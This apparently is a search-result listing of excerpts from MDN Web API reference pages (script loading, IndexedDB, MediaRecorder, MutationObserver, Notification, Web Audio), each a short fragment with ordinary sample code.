... example var img1 = new image(); // image constructor img1.src = 'image1.png'; img1.alt = 'alt'; document.body.appendchild(img1); var img2 = document.createelement('img'); // use dom htmlimageelement img2.src = 'image2.jpg'; img2.alt = 'alt text'; document.body.appendchild(img2); // using first image in the document alert(document.images[0].src); specifications specification status comment c...
HTMLInputElement.setRangeText() - Web APIs
the htmlinputelement.setrangetext() method replaces a range of text in an <input> or <textarea> element with a new string.
...possible values: "select" selects the newly inserted text.
...the newly inserted text will be highlighted (selected) afterwards.
HTMLScriptElement - Web APIs
examples dynamically importing scripts let's create a function that imports new scripts within a document creating a <script> node immediately before the <script> that hosts the following code (through document.currentscript).
... function loaderror(oerror) { throw new urierror("the script " + oerror.target.src + " didn't load correctly."); } function prefixscript(url, onloadfunction) { var newscript = document.createelement("script"); newscript.onerror = loaderror; if (onloadfunction) { newscript.onload = onloadfunction; } document.currentscript.parentnode.insertbefore(newscript, document.currentscript); newscript.src = url; } this next function, instead of prepending the new scripts immediately before the document.currentscript element, appends them as children of the <head> tag.
... function loaderror(oerror) { throw new urierror("the script " + oerror.target.src + " didn't load correctly."); } function affixscripttohead(url, onloadfunction) { var newscript = document.createelement("script"); newscript.onerror = loaderror; if (onloadfunction) { newscript.onload = onloadfunction; } document.head.appendchild(newscript); newscript.src = url; } sample usage: affixscripttohead("myscript1.js"); affixscripttohead("myscript2.js", function () { alert("the script \"myscript2.js\" has been correctly loaded."); }); specifications specification status comment html living standardthe definition of 'htmlscriptelement' in that specification.
HTMLTextAreaElement - Web APIs
setrangetext() replaces a range of text in the element with new text.
...n to behave like a link: .intlink { cursor: pointer; text-decoration: underline; color: #0000ff; } html: <form name="myform"> <p>[&nbsp;<span class="intlink" onclick="insertmetachars('&lt;strong&gt;','&lt;\/strong&gt;');"><strong>bold</strong></span> | <span class="intlink" onclick="insertmetachars('&lt;em&gt;','&lt;\/em&gt;');"><em>italic</em></span> | <span class="intlink" onclick="var newurl=prompt('enter the full url for the link');if(newurl){insertmetachars('&lt;a href=\u0022'+newurl+'\u0022&gt;','&lt;\/a&gt;');}else{document.myform.mytxtarea.focus();}">url</span> | <span class="intlink" onclick="insertmetachars('\n&lt;code&gt;\n','\n&lt;\/code&gt;\n');">code</span> | <span class="intlink" onclick="insertmetachars(' :-)');">smile</span> | etc.
...nsels - ncols : 0, ndeltaforw = sval.substring(nbackward, nsels).search(new regexp("\\n(?!.{0," + string(ncols - 2) + "}\\n)")) + 1, nrowstart = nbackward + ndeltaforw, areturns = (sval.substring(0, nsels) + sval.substring(nsele, sval.length)).match(/\n/g), nrowend = nsele + nrowstart + ncols - nsels, srow = sval.substring(nrowstart, nsels) + sval.substring(nsele, nrowend > nlen ?
Drag Operations - Web APIs
if you attempt to add data twice with the same format, the new data will replace the old data, but in the same position within the list of types as the old data.
...this technique is useful when drawing custom drag images using the canvas element, as in the following example: function dragwithcustomimage(event) { const canvas = document.createelement("canvas"); canvas.width = canvas.height = 50; const ctx = canvas.getcontext("2d"); ctx.linewidth = 4; ctx.moveto(0, 0); ctx.lineto(50, 50); ctx.moveto(0, 50); ctx.lineto(50, 0); ctx.stroke(); const dt = event.datatransfer; dt.setdata('text/plain', 'data to drag'); dt.setdragimage(canvas, 25, 25); } in this example, we make one canvas the drag image.
...this might be an insertion marker, or an element that represents the dragged element in its new location.
HashChangeEvent - Web APIs
hashchangeevent.newurl read only the new url to which the window is navigating.
...here is a version that allows only one handler to be bound to the onhashchange property: ;(function(window) { // exit if the browser implements that event if ( "onhashchange" in window.document.body ) { return; } var location = window.location, oldurl = location.href, oldhash = location.hash; // check the location hash on a 100ms interval setinterval(function() { var newurl = location.href, newhash = location.hash; // if the hash has changed and a handler has been bound...
... if ( newhash != oldhash && typeof window.onhashchange === "function" ) { // execute the handler window.onhashchange({ type: "hashchange", oldurl: oldurl, newurl: newurl }); oldurl = newurl; oldhash = newhash; } }, 100); })(window); specifications specification status comment html living standardthe definition of 'hashchangeevent' in that specification.
Ajax navigation example - Web APIs
mple</a> | <a class="ajax-nav" href="third_page.php">third example</a> | <a class="ajax-nav" href="unexisting.php">unexisting page</a> ] </p> include/header.php: <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <script type="text/javascript" src="js/ajax_nav.js"></script> <link rel="stylesheet" href="css/style.css" /> js/ajax_nav.js: "use strict"; const ajaxrequest = new (function () { function closereq () { oloadingbox.parentnode && document.body.removechild(oloadingbox); bisloading = false; } function abortreq () { if (!bisloading) { return; } oreq.abort(); closereq(); } function ajaxerror () { alert("unknown error."); } function ajaxload () { var vmsg, nstatus = this.status...
..."&" + sviewkey + "=" + sviewmode : "").slice(1)).replace(rendqstmark, ""); } function getpage (spage) { if (bisloading) { return; } oreq = new xmlhttprequest(); bisloading = true; oreq.onload = ajaxload; oreq.onerror = ajaxerror; if (spage) { opageinfo.url = filterurl(spage, null); } oreq.open("get", filterurl(opageinfo.url, "json"), true); oreq.send(); oloadingbox.parentnode || document.body.appendchild(oloadingbox); } function requestpage (surl) { if (history.pus...
...fo, opageinfo.title, opageinfo.url); for (var olink, nidx = 0, nlen = document.links.length; nidx < nlen; document.links[nidx++].onclick = processlink); } const /* customizable constants */ stargetid = "ajax-content", sviewkey = "view_as", sajaxclass = "ajax-nav", /* not customizable constants */ rsearch = /\?.*$/, rhost = /^[^\?]*\?*&*/, rview = new regexp("&" + sviewkey + "\\=[^&]*|&*$", "i"), rendqstmark = /\?$/, oloadingbox = document.createelement("div"), ocover = document.createelement("div"), oloadingimg = new image(), opageinfo = { title: null, url: location.href }, ohttpstatus = /* http://www.iana.org/assignments/http-status-codes/http-status-codes.xml */ { 100: "continue", ...
IDBCursor.update() - Web APIs
WebAPIIDBCursorupdate
if the cursor points to a record that has just been deleted, a new record is created.
... syntax var anidbrequest = myidbcursor.update(value); parameters value the new value to be stored at the current position.
...in such a situation, you would have to delete the record altogether and then add a new one using idbobjectstore.add.
IDBDatabase: error event - Web APIs
s the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const db = dbopenrequest.result; db.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transa...
...ction.objectstore('todolist'); const objectstorerequest = objectstore.add(newitem); }; the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year'...
..., 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const db = dbopenrequest.result; db.onerror = () => { console.log(`error adding new item: ${newitem.tasktitle}`); }; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const objectstorerequest = objectstore.add(newitem); }; ...
IDBDatabase - Web APIs
idbdatabase.createobjectstore() creates and returns a new object store or index.
... example in the following code snippet, we open a database asynchronously (idbfactory), handle success and error cases, and create a new object store in the case that an upgrade is needed (idbdatabase).
...this is used a lot later on db = dbopenrequest.result; // run the displaydata() function to populate the task // list with all the to-do list data already in the idb displaydata(); }; // this event handles the event whereby a new version of // the database needs to be created either one has not // been created before, or a new version number has been // submitted via the window.indexeddb.open line above dbopenrequest.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this datab...
IDBDatabaseException - Web APIs
for example, an object, such as an object store or index, already exists and a request attempted to create a new one.
...not for use in new websites.deprecated.
... not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBKeyRange.lowerBound() - Web APIs
the lowerbound() method of the idbkeyrange interface creates a new key range with only a lower bound.
... syntax var myidbkeyrange = idbkeyrange.lowerbound(lower); var myidbkeyrange = idbkeyrange.lowerbound(lower, open); parameters lower specifies the lower bound of the new key range.
... return value idbkeyrange: the newly created key range.
IDBKeyRange.only() - Web APIs
WebAPIIDBKeyRangeonly
the only() method of the idbkeyrange interface creates a new key range containing a single value.
... syntax var myidbkeyrange = idbkeyrange.only(value); parameters value is the value for the new key range.
... return value idbkeyrange: the newly created key range.
IDBKeyRange.upperBound() - Web APIs
the upperbound() method of the idbkeyrange interface creates a new upper-bound key range.
... syntax var myidbkeyrange = idbkeyrange.upperbound(upper[, open=false]) parameters bound specifies the upper bound of the new key range.
...optional return value idbkeyrange: the newly created key range.
IDBObjectStore.add() - Web APIs
this is for adding new records to an object store.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'add()' in that specification.
IDBObjectStore.name - Web APIs
syntax idbobjectstore.name = mynewname; var myobjectstorename = idbobjectstore.name; value a domstring containing the object store's name.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.name); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'name' in that specification.
IDBTransaction - Web APIs
note that this doesn't normally have to be called — a transaction will automatically commit when all outstanding requests have been satisfied and no new requests have been made.
...this is used a lot below db = dbopenrequest.result; // add the data to the database adddata(); }; function adddata() { // create a new object to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready to add data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml +=...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.oncomplete) note.innerhtml += '<li>request successful.</li>'; }; }; specifications specification status comment indexed database api 2.0t...
IDBVersionChangeEvent - Web APIs
idbversionchangeevent.newversion read only returns the new version of the database.
... deprecated properties idbversionchangeevent.version read only the new version of the database in a versionchange transaction.
... warning: while this property is still implemented in older browsers, the latest specification replaces it with the oldversion and newversion attributes.
IDBVersionChangeRequest.setVersion() - Web APIs
the new way is to define the version in the idbdatabase.open() method and create and delete object stores in the onupgradeneeded event handler associated with the returned request.
...not for use in new websites.deprecated.
... not for use in new websites.
IDBVersionChangeRequest - Web APIs
the new way to do it is to use the idbopendbrequest interface which has now the onblocked handler and the newly needed onupgradeneeded one.
...not for use in new websites.deprecated.
... not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IntersectionObserver - Web APIs
constructor intersectionobserver.intersectionobserver() creates a new intersectionobserver object which will execute a specified callback function when it detects that a target element's visibility has crossed one or more thresholds.
... examples var intersectionobserver = new intersectionobserver(function(entries) { // if intersectionratio is 0, the target is out of view // and we do not need to do anything.
... if (entries[0].intersectionratio <= 0) return; loaditems(10); console.log('loaded new items'); }); // start observing intersectionobserver.observe(document.queryselector('.scrollerfooter')); specifications specification status comment intersection observerthe definition of 'intersectionobserver' in that specification.
Key Values - Web APIs
appcommand_close gdk_key_close (0x1008ff56) qt::key_close (0x010000ce) keycode_media_close (128) "new" [1] creates a new document or message.
... appcommand_new gdk_key_new (0x1008ff68) qt::key_new (0x01000120) "open" [1] opens an existing document or message.
... in newer browsers, this value to simply be the character generated by the decimal key (one of those two characters).
KeyframeEffect.KeyframeEffect() - Web APIs
the keyframeeffect() constructor of the web animations api returns a new keyframeeffect object instance, and also allows you to clone an existing keyframe effect object instance.
... syntax var keyframes = new keyframeeffect(element, keyframeset, keyframeoptions); var keyframes = new keyframeeffect(sourcekeyframes); parameters the first type of constructor (see above) creates a completely new keyframeeffect object instance.
... examples in the follow the white rabbit example, the keyframeeffect constructor is used to create a set of keyframes that dictate how the white rabbit should animate down the hole: var rabbitdownkeyframes = new keyframeeffect( whiterabbit, // element to animate [ { transform: 'translatey(0%)' }, // keyframe { transform: 'translatey(100%)' } // keyframe ], { duration: 3000, fill: 'forwards' } // keyframe options ); specifications specification status comment web animations level 2the definition of 'keyframeeffectoptions.iterationcomposite' in tha...
MediaElementAudioSourceNode - Web APIs
constructor mediaelementaudiosourcenode() creates a new mediaelementaudiosourcenode object instance.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var myaudio = document.queryselector('audio'); var pre = document.queryselector('pre'); var myscript = document.queryselector('script'); pre.innerhtml = myscript.innerhtml; // create a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a gain node var gainnode ...
...= audioctx.creategain(); // create variables to store mouse pointer y coordinate // and height of screen var cury; var height = window.innerheight; // get new mouse pointer coordinates when mouse is moved // then set new gain value document.onmousemove = updatepage; function updatepage(e) { cury = (window.event) ?
MediaMetadata.MediaMetadata() - Web APIs
the mediametadata() constructor creates a new mediametadata object.
... syntax var mediametadata = new mediametadata([metadata]) parameters metadata optional the metadata parameters are as follows: title: the title of the media to be played.
... example the following example creates a new media session and assigns action handlers to it: if ('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler(...
MediaQueryListEvent.MediaQueryListEvent() - Web APIs
the mediaquerylistevent constructor creates a new mediaquerylistevent instance.
... syntax var mymqlevent = new mediaquerylistevent(init); parameters init an init object that defines features of the new object instance.
... examples var media = '(max-width: 600px)'; var matches = true; var mymediaquerylistevent = new mediaquerylistevent({media, matches}); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent()' in that specification.
MediaRecorder() - Web APIs
the mediarecorder() constructor creates a new mediarecorder object that will record a specified mediastream.
... syntax var mediarecorder = new mediarecorder(stream[, options]); parameters stream the mediastream that will be recorded.
...if (navigator.mediadevices.getusermedia) { var constraints = { audio: true, video: true }; var chunks = []; var onsuccess = function(stream) { var options = { audiobitspersecond : 128000, videobitspersecond : 2500000, mimetype : 'video/mp4' } var mediarecorder = new mediarecorder(stream,options); m = mediarecorder; ...
MediaRecorder.start() - Web APIs
then, each time that amount of media has been recorded, an event will be delivered to let you act upon the recorded media, while a new blob is created to record the next slice of the media assuming the mediarecorder's state is inactive, start() sets the state to recording, then begins capturing media from the input stream.
...if the source is still playing, a new blob is created and recording continues into that, and so forth.
...if this parameter isn't included, the entire media duration is recorded into a single blob unless the requestdata() method is called to obtain the blob and trigger the creation of a new blob into which the media continues to be recorded.
MediaSource.MediaSource() - Web APIs
the mediasource() constructor of the mediasource interface constructs and returns a new mediasource object with no associated source buffers.
... syntax var mediasource = new mediasource(); parameters none.
...w the full demo live, or download the source for further investigation.) var video = document.queryselector('video'); var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } ...
MediaStream.onaddtrack - Web APIs
this happens when a new track of any kind is added to the media stream.
... this event is fired when the browser adds a track to the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
... example this example adds a listener which, when a new track is added to the stream, appends a new item to a list of tracks; the new item shows the track's kind ("audio" or "video") and label.
MediaStream - Web APIs
constructor mediastream() creates and returns a new mediastream object.
... event handlers mediastream.onaddtrack an eventhandler containing the action to perform when an addtrack event is fired when a new mediastreamtrack object is added.
... events addtrack fired when a new mediastreamtrack object is added.
MediaStreamAudioSourceNode - Web APIs
constructor new mediastreamaudiosourcenode() creates a new mediastreamaudiosourcenode object instance with the specified options.
...ole.log('getusermedia supported.'); navigator.mediadevices.getusermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the...
... destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get new mouse pointer coordinates when mouse is moved // then set new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; note: as a consequence of calling createmediastreamsource(), audio playback from the media stream will be re-routed into the processing graph of the audiocontext.
MediaStreamEvent() - Web APIs
the mediastreamevent() constructor creates a new mediastreamevent.
... syntax var event = new mediastreamevent(type, mediastreameventinit); values type is a domstring containing the name of the event, like addstream or removestream.
... example // s is a mediastream var event = new mediastreamevent("addstream", {"stream": s}); ...
MediaStreamTrack.enabled - Web APIs
pausebutton.onclick = function(evt) { const newstate = !myaudiotrack.enabled; pausebutton.innerhtml = newstate ?
... "&#x25b6;&#xfe0f;" : "&#x23f8;&#xfe0f;"; myaudiotrack.enabled = newstate; } this creates a variable, newstate, which is the opposite of the current value of enabled, then uses that to select either the emoji character for the "play" icon or the character for the "pause" icon as the new innerhtml of the pause button's element.
... finally, the new value of enabled is saved, making the change take effect.
MediaStreamTrackAudioSourceNode - Web APIs
constructor new mediastreamtrackaudiosourcenode() creates a new mediastreamtrackaudiosourcenode object instance with the specified options.
...ole.log('getusermedia supported.'); navigator.mediadevices.getusermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the...
... destination, so we can play the // music and adjust the volume using the mouse cursor source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); // get new mouse pointer coordinates when mouse is moved // then set new gain value range.oninput = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; note: as a consequence of calling createmediastreamsource(), audio playback from the media stream will be re-routed into the processing graph of the audiocontext.
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
syntax mediastreamtrackaudiosourceoptions = { mediastreamtrack: audiosourcetrack; } mediastreamtrackaudiosourceoptions.mediastreamtrack = audiosourcetrack; value a mediastreamtrack from which the audio output of the new mediastreamtrackaudiosourcenode will be taken.
... example this example uses getusermedia() to obtain access to the user's camera, then creates a new mediastreamaudiosourcenode from the first audio track provided by the device.
... let audioctx = new (window.audiocontext || window.webkitaudiocontext)(); if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( { audio: true, video: false }).then(function(stream) { let options = { mediastreamtrack: stream.getaudiotracks()[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourceoptions.mediastream' in that specification.
MediaStreamTrackEvent() - Web APIs
the mediastreamtrackevent() constructor returns a newly created mediastreamtrackevent object, which represents an event announcing that a mediastreamtrack has been added to or removed from a mediastream.
... syntax var trackevent = new mediastreamtrackevent(type, {track: amediastreamtrack}); parameters the mediastreamtrackevent() constructor also inherits arguments from event().
... return value a new mediastreamtrackevent, initialized based on the provided options.
Using the MediaStream Recording API - Web APIs
capturing the media stream once getusermedia has created a media stream successfully, you create a new media recorder instance with the mediarecorder() constructor and pass it the stream directly.
... const mediarecorder = new mediarecorder(stream); there are a series of methods available in the mediarecorder interface that allow you to control recording of the media stream; in web dictaphone we just make use of two, and listen to some events.
...lement('audio'); const deletebutton = document.createelement('button'); clipcontainer.classlist.add('clip'); audio.setattribute('controls', ''); deletebutton.innerhtml = "delete"; cliplabel.innerhtml = clipname; clipcontainer.appendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); const blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); chunks = []; const audiourl = window.url.createobjecturl(blob); audio.src = audiourl; deletebutton.onclick = function(e) { let evttgt = e.target; evttgt.parentnode.parentnode.removechild(evttgt.parentnode); } } let's go through the above code and look at what's happening.
MerchantValidationEvent() - Web APIs
the merchantvalidationevent() constructor creates a new merchantvalidationevent object.
... syntax merchantvalidationevent = new merchantvalidationevent(type, options); parameters type a domstring which must be merchantvalidation, the only type of event which uses the merchantvalidationevent interface.
... return value a newly-created merchantvalidationevent providing the information that needs to be delivered to the client-side code to present to the user agent by calling complete().
MessageEvent.MessageEvent() - Web APIs
the messageevent() constructor creates a new messageevent object instance.
... syntax var messageevent = new messageevent(type, init); parameters type the type of messageevent that will be created.
... example var mymessage = new messageevent('worker', { data : 'hello' }); specifications specification status comment html living standardthe definition of 'messageevent()' in that specification.
MutationObserver.observe() - Web APIs
there are some caveats to note: if you call observe() on a node that's already being observed by the same mutationobserver, all existing observers are automatically removed from all targets being observed before the new observer is activated.
... if the same mutationobserver is not already in use on the target, then the existing observers are left alone and the new one is added.
... // identify an element to observe const elementtoobserve = document.queryselector("#targetelementid"); // create a new instance of `mutationobserver` named `observer`, // passing it a callback function const observer = new mutationobserver(function() { console.log('callback that runs when observer is triggered'); }); // call `observe()` on that mutationobserver instance, // passing it the element to observe, and the options object observer.observe(elementtoobserve, {subtree: true, childlist: true}); specifi...
MutationObserver - Web APIs
constructor mutationobserver() creates and returns a new mutationobserver which will invoke a specified callback function when dom changes occur.
... takerecords() removes all pending notifications from the mutationobserver's notification queue and returns them in a new array of mutationrecord objects.
... for(let mutation of mutationslist) { if (mutation.type === 'childlist') { console.log('a child node has been added or removed.'); } else if (mutation.type === 'attributes') { console.log('the ' + mutation.attributename + ' attribute was modified.'); } } }; // create an observer instance linked to the callback function const observer = new mutationobserver(callback); // start observing the target node for configured mutations observer.observe(targetnode, config); // later, you can stop observing observer.disconnect(); specifications specification status comment domthe definition of 'mutationobserver' in that specification.
MutationObserverInit.childList - Web APIs
the mutationobserverinit dictionary's optional childlist property indicates whether or not to monitor the specified node or nodes for the addition or removal of new child nodes.
... if childlist is false (the default), adding or removing new nodes does not trigger mutation callbacks.
... syntax var options = { childlist: true | false } value a boolean value indicating whether or not to invoke the callback function when new nodes are added to or removed from the section of the dom being monitored..
NDEFReader() - Web APIs
the ndefreader() constructor of the web nfc api returns a newly constructed ndefreader object used to read ndef messages from compatiable nfc devices, e.g.
... syntax writer = new ndefreader(); parameters none.
... return value a new ndefreader.
NDEFRecord() - Web APIs
the ndefrecord() constructor of the web nfc api returns a newly constructed ndefrecord object that represents data that can be read from or written to compatible nfc devices, e.g.
... syntax writer = new ndefrecord(ndefrecordinit); parameters ndefrecordinit read only ndefrecordinit with initialization data.
... return value a new ndefrecord.
NDEFWriter() - Web APIs
the ndefwriter() constructor of the web nfc api returns a newly constructed ndefwriter object used to write ndef messages to compatiable nfc devices, e.g.
... syntax writer = new ndefwriter(); parameters none.
... return value a new ndefwriter.
Node.cloneNode() - Web APIs
WebAPINodecloneNode
syntax let newclone = node.clonenode([deep]) node the node to be cloned.
... newclone the new node, cloned from node.
... the newclone has no parent and is not part of the document, until it is added to another node that is part of the document (using node.appendchild() or a similar method).
Node - Web APIs
WebAPINode
if the argument referenced an existing node on the dom tree, the node will be detached from its current position and attached at the new position.
...oo</span> <span>bar</span> <span>baz</span> </div> const box = document.getelementbyid("box") eachnode(box, function(node) { if (null != node.textcontent) { console.log(node.textcontent) } }) the above will result in the following strings printing to the user's console: "\n\t", "foo", "\n\t", "bar", "\n\t", "baz" note: whitespace forms part of a text node, meaning indentation and newlines form separate text between the element nodes.
....indexof(pattern)) { matches.push(node) } } else if (pattern.test(node.textcontent)) { if (!pattern.global) { endscan = true matches = node } else { matches.push(node) } } }) return matches } for example, to find text nodes that contain typos: const typos = ["teh", "adn", "btu", "adress", "youre", "msitakes"] const pattern = new regexp("\\b(" + typos.join("|") + ")\\b", "gi") const mistakes = grep(document.body, pattern) console.log(mistakes) specifications specification status comment domthe definition of 'node' in that specification.
Notification - Web APIs
constructor notification() creates a new instance of the notification object.
... notification.renotify read only specifies whether the user should be notified after a new notification replaces an old one.
... function notifyme() { // let's check if the browser supports notifications if (!("notification" in window)) { alert("this browser does not support desktop notification"); } // let's check whether notification permissions have already been granted else if (notification.permission === "granted") { // if it's okay let's create a notification var notification = new notification("hi there!"); } // otherwise, we need to ask the user for permission else if (notification.permission !== "denied") { notification.requestpermission().then(function (permission) { // if the user accepts, let's create a notification if (permission === "granted") { var notification = new notification("hi there!"); } }); } // at last, if the...
NotificationEvent.NotificationEvent() - Web APIs
the notificationevent() constructor creates a new notificationevent object.
... syntax var mynotificationevent = new notificationevent(type, notificationeventinit); parameters type tbd notificationeventinit optional a dictionary object containing a notification object to be used as the notification the event is dispatched on.
... example var n = new notification('hello'); var init = { notification: n }; var mynotificationevent = new notificationevent(type, init); specifications specification status comment notifications apithe definition of 'notificationevent() constructor' in that specification.
OES_vertex_array_object - Web APIs
constants this extension exposes one new constant, which can be used in the gl.getparameter() method: ext.vertex_array_binding_oes returns a webglvertexarrayobject object when used in the gl.getparameter() method as the pname parameter.
... methods this extension exposes four new methods.
... ext.createvertexarrayoes() creates a new webglvertexarrayobject.
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
the offlineaudiocompletionevent() constructor of the web audio api creates a new offlineaudiocompletionevent object instance.
... syntax var offlineaudiocompletionevent = new offlineaudiocompletionevent(type, init) parameters type optional a domstring representing the type of object to create.
... return value a new offlineaudiocompletionevent object instance.
OfflineAudioContext.startRendering() - Web APIs
browsers currently support two versions of the startrendering() method — an older event-based version and a newer promise-based version.
... note: for a working example, see our offline-audio-context-promise github repo (see the source code too.) // define online and offline audio context var audioctx = new audiocontext(); var offlinectx = new offlineaudiocontext(2,44100*40,44100); source = offlinectx.createbuffersource(); // use xhr to load an audio track, and // decodeaudiodata to decode it and offlineaudiocontext to render it function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() ...
...{ var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.connect(offlinectx.destination); source.start(); //source.loop = true; offlinectx.startrendering().then(function(renderedbuffer) { console.log('rendering completed successfully'); var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var song = audioctx.createbuffersource(); song.buffer = renderedbuffer; song.connect(audioctx.destination); play.onclick = function() { song.start(); } }).catch(function(err) { console.log('rendering failed: ' + err); // note: the promise should reject when startrende...
OscillatorNode.OscillatorNode() - Web APIs
the oscillatornode() constructor of the web audio api creates a new oscillatornode object which is an audionode that represents a periodic waveform, like a sine wave, optionally setting the node's properties' values to match values in a specified object.
... syntax var oscillatornode = new oscillatornode(context, options) parameters inherits parameters from the audionodeoptions dictionary.
... return value a new oscillatornode object instance.
PannerNode.orientationX - Web APIs
the audioparam contained by this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
... syntax var orientationx = pannernode.orientationx; pannernode.orientationx.value = neworientationx; value an audioparam whose value is the x component of the direction in which the audio source is facing, in 3d cartesian coordinate space.
